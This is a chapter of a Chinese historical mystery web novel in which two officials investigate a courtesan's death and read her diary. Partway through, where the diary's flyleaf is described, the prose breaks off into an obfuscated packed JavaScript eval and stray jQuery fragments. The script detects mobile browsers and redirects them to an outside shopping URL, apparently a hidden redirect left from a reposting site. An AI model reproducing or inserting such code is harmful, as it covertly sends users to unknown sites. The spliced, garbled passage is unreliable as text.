9.第九章

作品:《沧澜照雪

    此言一出,众人皆惊。


    谢十九真是有天大的面子,能让沈止澜替她说话。


    江柏舟猛地转头,眼中是难以置信,与被屡次阻挠的怒意:“沈大人!下官敢问,你何故偏袒偏帮……”


    “够了。”沈弈抬手制止,“朕知江卿办案公允,但既然靖安侯为谢大人作保,江卿便就此作罢吧。”


    江柏舟只得应“是”。


    沈弈的目光在沈止澜和十九之间逡巡,忽然道:“沈卿这般信任谢大人,朕想知其中缘由。”


    十九欲言,沈止澜给了她一个眼神,心照不宣。


    此刻,多说多错。


    沈止澜声音无波无澜:“臣之所言,所行,所保,皆秉公心。国法森严,人命关天,臣以为,不应以一己之私见,蔽圣听,乱纲纪。”


    “好一个‘皆秉公心’。”沈弈似是轻笑了一声,笑意未达眼底便凝结成一片霜寒。


    “此案交由沈卿主理,江指挥使协查,朕予尔等七日之期,务必给朕一个交代。至于陈尚书与谢统领,查案期间需全力配合,不得推诿阻碍。”


    四人一齐行礼:“臣遵旨。”


    走出大殿,天际阴沉,铅云低垂。


    汉白玉阶冰寒彻骨,脚下湿滑。


    年迈的陈尚书差点打滑,三人谁都没有出手搀扶的意思,在即将跌倒的刹那,还是沈止澜虚扶了一下。


    陈尚书仓皇离去。


    沈止澜叮嘱内侍送尚书大人出宫,仅听天子差遣的内侍居然真的去了。


    “随我来。”沈止澜对十九道。


    十九听话地与沈止澜并行。


    “沈侯爷留步。”江柏舟的声音自身后追来。


    沈止澜驻足,玄色大氅在萧瑟风中纹丝不动,他并未回身,只等江柏舟快走两步追上。


    江柏舟绕至他面前:“沈大人今日在御前,好一番慷慨陈词。只是,”他话锋一转,“先入为主,偏信一人,恐非断狱之道,更非为臣之忠。”


    沈止澜这才缓缓抬眸。


    他的眼瞳极深,似积年寒潭,映不出天光云影,亦映不出眼前人的咄咄逼人。


    “江大人,”他开口,“真相非凭臆断可获,清白亦非以众口可污。你我二人同领圣命,我知江大人不喜我为人处事之风,是否与我合作共查,凭您心意。”


    “不必了,锦衣卫人手足够,无需沈侯爷相助。”江柏舟看了一眼站沈止澜身后身后半步的十九,冷声警告,“至于谢大人,好自为之,江某先行一步。”


    江柏舟那个意味深长的神情,以及欲言又止的样子,让十九总觉得他好似知道了什么,但他不明说,十九亦不可能露出破绽,自投罗网。


    “沈大人如何打算。”


    “去现场看看。”


    “好。”十九迈步就走,官袍飞扬,“沈大人不介意带上我吧?我想看看母亲留下了什么遗物。”


    “走吧。”沈止澜没有拒绝。


    ……


    醉仙楼被彻底封锁。


    锦衣卫的效率极高,仓皇逃走的宾客已被悉数抓回,有结党嫌疑的简单审过后,便被关入诏狱。


    楼中的姑娘和仆役被拘在房间中,江柏舟亲自讯问。


    老鸨徐妈妈被带入时,已是面无人色,浑身筛糠,昔日倚门卖笑的八面玲珑,此刻只剩惊弓之鸟的惶惧。


    哭喊声,哀求声,斥问声一阵阵传来,往日旖旎风流乡,此刻成了血腥严酷的刑讯场。


    一刻钟后,沈止澜和十九姗姗来迟。


    徐妈妈刚被从房中拖出来。


    十九忽然开口,问:“徐妈妈,烟霭姑娘可曾接触过什么生人?或收过什么特别物件?”


    徐妈妈眼神空洞:“烟霭是花魁,来往的都是达官贵人,生面孔也不少……物件嘛,各位爷赏的多了去了,老身也记不全……”


    没什么有效信息。


    二人未发一言,径直走上二楼。在案发地隔壁屋子坐下,对视时,皆神色凝重。


    沈止澜开门见山:“你不会觉得,陛下如此重视此案,仅仅是死了一个花魁,牵扯了一个兵部?”


    十九装傻:“一个兵部还不够吗?”


    沈止澜不和她打太极,直言不讳:“能派锦衣卫指挥使亲自出京查的案子,绝非一个兵部那么简单,你最好如实交代。”


    十九:“我还以为沈大人是信任我。”


    沈止澜:“我只是念在你我相识一场,不愿你入诏狱受折磨,若你执迷不悟,我亦无法保你。”


    “沈侯爷。”门外传来锦衣卫的声音。


    “何事?”沈止澜令十九噤声。


    “证物已经收集完毕,您要过目吗?”


    沈止澜看向十九略带期许的目光,也没准备拂了她的意,回道:“引我去看。”


    烟霭房中,血腥气已经淡了许多。


    收拾出,几封字迹娟秀的信笺,一些金银首饰,若干胭脂水粉,一本半旧的琴谱,以及一个上了锁的紫檀木小匣。


    沈止澜问:“钥匙何在?”


    锦衣卫恭敬答:“房中各处都找遍了,未见钥匙。徐妈妈说,这匣子烟霭姑娘宝贝得很,从不许人碰。”


    “你出去吧。”


    待人走后。


    沈止澜将匣子推到十九面前,她小心翼翼地接过,仔细端详,亦未找到开锁的关窍。


    “撬开?”沈止澜问十九的意思。


    十九点头同意。


    她从从袖中抽出一把短刀,插进匣盖的缝隙间,轻轻转动手腕,只停卡“咔”的一声,铜锁断开。


    匣盖掀开,里面并无金银珠宝,只有几样零碎物件。


    一枚成色普通的羊脂玉佩,一根褪色的红头绳,一叠裁剪整齐的洒金诗笺,以及一本薄薄的手札。


    沈止澜先拿起那枚玉佩。


    玉质温润,雕着简单的祥云纹,并无特别之处,翻到背面,刻着极小的“长思”二字。


    “长思……”他看向十九,“可有所闻?”


    十九仔细思索,最终摇头,她从未见娘亲佩戴过此玉,也未听她提过“长思”二字。


    红头绳已陈旧发白,打结处磨损严重,似是常年摩挲所致。洒金笺上抄录着一些诗句,字迹与信笺相同,应是出自烟霭之手。内容多是闺怨离思,并无特别。


    最后是那本手札。


    纸质泛黄,边角磨损,显然有些年头了。翻开扉页,并无题名,只有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197785|197088||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一行小字“癸未年仲夏始记”。


    最近的癸未年,是十年前。


    沈止澜快速翻阅。


    手札前半部分多是日常琐记,某日学了新曲,某日得了赏钱,某日身体不适云云。笔触细腻,偶尔流露出欢欣或愁绪,是一个乐籍女子平淡的生活。


    然而,翻到约莫中间部分,记述的笔调开始有了微妙变化。


    “己丑年腊月廿三,雪。那位大人又来了。依旧点一曲《破阵乐》。曲终人散,他留下一个香囊,沉甸甸的。我不敢当面打开,回房后看,竟是十足的金锞子。他究竟是何人?为何每次来都只听一曲,心中惴惴。”


    “庚寅年清明,雨。今日偷偷去了西郊坟岗,给我早逝的孩子烧纸。回来时在巷口撞见那位大人,浑身是血,我求了徐妈妈,将他带回醉仙楼后院柴房。他昏迷前塞给我一块玉佩。他说,若他三日内未醒,便将此玉送至城东青莲巷第三户,找一个叫‘陆九’的人。我害怕极了。”


    “庚寅年清明后二日,阴。那人昨夜发了高热,我一直守着,喂他喝水。他迷迷糊糊中说了很多胡话,好像是什么‘殿下’、‘信物’、‘北疆’、……我听不懂,也无法问。今早他终于醒了,看了我许久,什么也没说,拿回玉佩,又给了我一支金簪,让我忘掉这一切。他走后,我偷偷去看柴房,血迹都没了,如一场春梦了无痕。”


    “辛卯年元夕,晴。雍都灯市如昼,我却只能困在这高楼。那位大人又来了,这次他听完曲,没有立刻走。他问我,想不想离开这里。我不敢答。这醉仙楼是销金窟,也是牢笼。徐妈妈不会轻易放人,何况我的赎身钱是天文数字。他说,钱不是问题,只要我替他做一件事。”


    手札至此,戛然而止。


    后面数页被整齐地撕去,只留下参差的纸边。


    沈止澜与十九对视一眼,皆从对方眼中看到凝重。


    庚寅年到辛卯年,是三年前到一年前。这位大人数次找上烟霭,然烟霭一介乐妓,有何值得如此图谋?


    还有一点十足蹊跷,己丑年应是大渝太极二十年,辛卯年则是太和二年,为何不用年号纪年。


    “或许那位大人不是图谋我娘,而是图谋她所能接触之人。”十九声音严肃,“醉仙楼是京城消息最灵通之处,达官显贵,三教九流,皆汇聚于此。一个花魁,或许是传递消息的绝佳掩护。”


    “那件事,我娘答应了吗?”十九看向手札被撕去的部分,“为何撕掉这些记录?是后来反悔?还是事情已经做成了?”


    “或许,撕掉的人并非你母亲。”沈止澜拿起那本手札,仔细察看撕痕,“边缘整齐,是一次性撕下,力道均匀,应是没有恐惧或后悔……”


    “你怀疑有人来过?”十九明白他的意思,“那为何只是撕掉,而非整本带走?”


    十九心道不好。


    她隐隐猜到了原因,这本手札是有人刻意留下让她看到的,只是不巧的是,此时沈止澜和她在一起。


    沈止澜太敏锐了,不知是否会察觉出异样?


    果然,沈止澜眸色晦暗,陷入沉思:“只是猜测。”


    这时,江柏舟推门而入,面色冷峻:“沈大人,谢大人,初步讯问已有结果。”